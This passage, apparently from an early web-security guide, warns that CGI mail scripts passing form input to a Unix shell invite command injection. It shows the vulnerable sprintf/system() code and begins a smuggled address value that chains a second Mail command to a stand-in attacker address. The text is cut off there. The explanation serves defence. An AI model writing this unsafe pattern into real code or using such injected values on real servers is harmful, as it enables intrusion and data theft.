[Image] CGI programs provide a powerful mechanism for enhancing the quality and usefulness of your Web page. They also open the door for hackers to exploit your script to do their dirty work. The biggest danger with CGI programs, is letting a string sent from the browser be interpreted by a Unix shell on the server. This can happen quite innocently. Most people code CGI mail programs that put the delivery address on the form as an argument. This seems simple enough, but then most people right their CGI mail program as: sprintf(buf, "/usr/sbin/Mail %s", to_on_form); system(buf); Those 2 lines of code are disasterous. Suppose instead of "frank@foo.com", I send the address "frank@foo.com;/usr/sbin/Mail bad_guy@bad_place.com